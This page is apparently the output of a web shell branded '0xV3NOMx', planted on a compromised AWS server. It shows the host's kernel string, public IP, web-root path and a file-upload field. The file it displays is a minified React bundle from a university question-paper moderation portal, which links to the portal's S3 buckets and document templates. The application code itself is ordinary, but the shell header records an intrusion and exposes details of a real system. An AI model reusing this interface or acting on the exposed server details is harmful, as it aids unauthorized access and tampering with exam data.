0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.14.249.191


Current Path : /var/www/qpms/assets/
Upload File :
Current File : /var/www/qpms/assets/ModQpDetailsOffline-Cp8f0QjD.js

import{x as L,r as l,t as e,B as r,E as F,M as A,D as E,L as N,R as V}from"./index-CaXVb0k8.js";import{a as T,u as $,b as Y}from"./ModQpDetails-DDHBMsUu.js";import{p as B}from"./sem-BK69X1ab.js";import{U as k,R as y}from"./UploadOutlined-CT9XzFb6.js";import{F as Q}from"./Table-5DUqtndG.js";import{S as K}from"./index-BVj1xRcQ.js";import{R as H}from"./ArrowLeftOutlined-980QpuIb.js";import{R as J}from"./HomeOutlined-Cg-zLljH.js";import"./index-DOdOsbxf.js";import"./index-BpF0Xclz.js";import"./DeleteOutlined-Cft-Z0lT.js";import"./index-CisBFiX8.js";import"./responsiveObserver-J5UVIshT.js";const G=t=>{const[S,w]=l.useState([]),[c,p]=l.useState([]),[f,h]=l.useState([]),[u,x]=l.useState([]),[m,d]=l.useState([]),[U,b]=l.useState(""),[O,D]=l.useState(""),[_,M]=l.useState(""),[C,q]=l.useState(""),g="https://moderator-upd.s3.ap-south-1.amazonaws.com/",R="https://universitysolutions.in/univadmin/QP_Details/051/Q.P.moderation_format_14.03.2023.docx",v="https://universitysolutions.in/univadmin/QP_Details/"+t.user.funivcode+"_QP_Setting_Remuneration_Format.docx";l.useEffect(()=>{const i={fqpcode:t.element.fqpcode,fteachcode:t.element.fteachcode,fset:t.element.fset,fyear:t.element.fyear,fexamtype:t.element.fexamtype,ftype:t.element.ftype};t.getModUpdData(i)},[]),l.useEffect(()=>{w(t.modUpdData)},[t.modUpdData]);const j=async(i,a,n)=>{if(n==="anskey"){const o={...f};if(i.fileList.length>0){const s=i.fileList[0].name.split(".").pop();if(s!=="docx"&&s!=="doc"&&s!=="pdf"){F("info","Select word or pdf file only");return}o[a.key]=i.fileList,h(o),D("Yes")}else{const s={...f,[a.key]:[]};h(s),D("No")}}else if(n==="qp"){const o={...c};if(i.fileList.length>0){const s=i.fileList[0].name.split(".").pop();if(s!=="docx"&&s!=="doc"&&s!=="pdf"){F("info","Select word or pdf file only");return}o[a.key]=i.fileList,p(o),b("Yes")}else{const s={...o,[a.key]:[]};p(s),b("No")}}else if(n==="mod"){const o={...u};if(i.fileList.length>0){const s=i.fileList[0].name.split(".").pop();if(s!=="docx"&&s!=="doc"&&s!=="pdf"){F("info","Select word or pdf file only");return}o[a.key]=i.fileList,x(o),M("Yes")}else{const s={...o,[a.key]:[]};x(s),M("No")}}else if(n==="rem"){const o={...m};if(i.fileList.length>0){const s=i.fileList[0].name.split(".").pop();if(s!=="docx"&&s!=="doc"&&s!=="pdf"){F("info","Select word or pdf file only");return}o[a.key]=i.fileList,d(o),q("Yes")}else{const s={...o,[a.key]:[]};d(s),q("No")}}},z=async i=>{A.confirm({title:"Upload",content:"Are you sure ?",onOk(){P(i)}})},P=async i=>{const a={univcode:t.user.funivcode,fqpcode:t.element.fqpcode,fset:t.element.fset,fteachcode:t.element.fteachcode,fyear:t.element.fyear,fexamtype:t.element.fexamtype,ftype:t.element.ftype,userid:t.user.fregno},n=new FormData;n.append("data",JSON.stringify(a)),n.append("ansstatus",O),n.append("qpstatus",U),n.append("modstatus",_),n.append("remstatus",C),u[i.key]&&u[i.key][0]&&n.append("modFromFile",u[i.key][0].originFileObj),c[i.key]&&c[i.key][0]&&n.append("qpfile",c[i.key][0].originFileObj),f[i.key]&&f[i.key][0]&&n.append("anskeyfile",f[i.key][0].originFileObj),m[i.key]&&m[i.key][0]&&n.append("remfile",m[i.key][0].originFileObj),await t.uploadModQpData(n,t.getModUpdData,a)},I=[{title:"Sl. No",dataIndex:"fslno",align:"center",width:"6%"},{title:"QP File",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:"https://qp-upd.s3.ap-south-1.amazonaws.com/"+a.fqpfilepath,target:"_blank",children:"Download Qp File"}),e.jsx("br",{}),e.jsx(k,{onClick:()=>p([]),fileList:c[a.key]||[],onChange:n=>j(n,a,"qp"),beforeUpload:()=>!1,children:e.jsx(r,{size:"medium",icon:e.jsx(y,{}),children:"Select File"})}),a.fmodqpupd!==""&&e.jsx("a",{target:"_blank",href:g+a.fmodqpupd,children:"View"})]}),align:"center",width:"28%"},{title:"Ans Key File",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:"https://qp-upd.s3.ap-south-1.amazonaws.com/"+a.fanskeypath,children:"Download Ans File"}),e.jsx("br",{}),e.jsx(k,{onClick:()=>h([]),fileList:f[a.key]||[],onChange:n=>j(n,a,"anskey"),beforeUpload:()=>!1,children:e.jsx(r,{size:"medium",icon:e.jsx(y,{}),children:"Select File"})}),a.fmodanskey!==""&&e.jsx("a",{target:"_blank",href:g+a.fmodanskey,children:"View"})]}),align:"center",width:"28%",hidden:t.user.funivcode=="040"&&!0},{title:"QP Mod Form",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:R,target:"_blank",download:!0,children:"Download Moderator Form"}),e.jsx("br",{}),e.jsx(k,{onClick:()=>x([]),fileList:u[a.key]||[],onChange:n=>j(n,a,"mod"),beforeUpload:()=>!1,children:e.jsx(r,{size:"medium",icon:e.jsx(y,{}),children:"Select File"})}),a.fmodform!==""&&e.jsx("a",{target:"_blank",href:g+a.fmodform,children:"View"})]}),align:"center",width:"28%",hidden:t.user.funivcode=="040"&&!0},{title:"Rem. File",render:(i,a)=>e.jsxs("div",{children:[e.jsx("a",{href:v,target:"_blank",download:!0,children:"Download Rem. Form"}),e.jsx("br",{}),e.jsx(k,{onClick:()=>d([]),fileList:m[a.key]||[],onChange:n=>j(n,a,"rem"),beforeUpload:()=>!1,children:e.jsx(r,{size:"medium",icon:e.jsx(y,{}),children:"Select File"})}),a.fmodremfile!==""&&e.jsx("a",{target:"_blank",href:g+a.fmodremfile,children:"View"})]}),align:"center",width:"28%",hidden:t.user.funivcode!="040"&&!0},{title:"Action",render:(i,a)=>e.jsxs(r,{size:"medium",style:{background:"green",color:"#fff"},onClick:()=>z(a),children:[e.jsx(y,{}),"Upload"]}),width:"10%",align:"center"}];return e.jsxs(e.Fragment,{children:[e.jsxs("p",{children:[e.jsx("b",{children:" Subname [QP Code]: "}),t.element.fsubname+" ["+t.element.fqpcode+"]"]}),e.jsxs("p",{children:[e.jsx("b",{children:" Syllabus: "}),e.jsx("a",{href:t.url+t.element.fqpsyllabus,children:"View"})]}),e.jsx(Q,{columns:I,dataSource:S,scroll:{x:1300,y:500},pagination:B})]})},W=t=>({user:t.loginfo.userData,modUpdData:t.getModUpdData}),X=L(W,{getModUpdData:T,uploadModQpData:$})(G),Z=t=>{const[S,w]=l.useState([]),c="https://qp-scheme.s3.ap-south-1.amazonaws.com/",[p,f]=l.useState(!1),[h,u]=l.useState({});l.useEffect(()=>{t.getModQpDetailsOffline()},[]),l.useEffect(()=>{w(t.getModDataOffline)},[t.getModDataOffline]);const x=[{title:"Sl. No",dataIndex:"fslno",align:"center",width:"5%"},{title:"QP Code",dataIndex:"fqpcode",align:"center",width:"10%"},{title:"Subject Name",dataIndex:"fsubname",width:"23%"},{title:"Set",dataIndex:"fset",width:"5%",align:"center"},{title:"Type",dataIndex:"ftype",width:"10%",align:"center"},{title:"Mod. Date",dataIndex:"fmodqpdate",width:"10%",align:"center"},{title:"Mod. Status",render:(m,d)=>e.jsx("span",{style:{color:d.fmodqpdate==""?"#f00":"green"},children:d.fmodqpdate!=""?"Completed":"Pending"}),width:"10%",align:"center"},{title:"Syllabus",render:(m,d)=>e.jsx("a",{href:c+d.fqpsyllabus,target:"_blank",children:"View"}),width:"7%",align:"center"},{title:"Action",render:(m,d)=>e.jsx("div",{children:d.fmodstatus=="T"?e.jsx(r,{size:"medium",style:{color:"white",background:"#f00"},children:"Freezed"}):e.jsxs(r,{size:"medium",onClick:()=>{f(!0),u(d)},style:{color:"white",background:"green"},children:[e.jsx(V,{}),"View"]})}),width:"10%",align:"center"}];return e.jsx(E,{style:{margin:"6rem 10px 10px"},title:e.jsx("h6",{children:"Upload QP Details (Moderator)"}),extra:e.jsxs(K,{children:[p&&e.jsxs(r,{onClick:()=>f(!1),style:{color:"white",background:"green"},children:[e.jsx(H,{}),"Back"]}),e.jsx(N,{to:"/",children:e.jsxs(r,{type:"primary",danger:!0,children:[e.jsx(J,{})," Exit"]})})]}),children:p?e.jsx(X,{element:h,url:c}):e.jsx(Q,{dataSource:S,columns:x,scroll:{x:1300,y:500},pagination:!1})})},ee=t=>({user:t.loginfo.userData,getModDataOffline:t.getModQpOffile}),pe=L(ee,{getModQpDetailsOffline:Y})(Z);export{pe as default};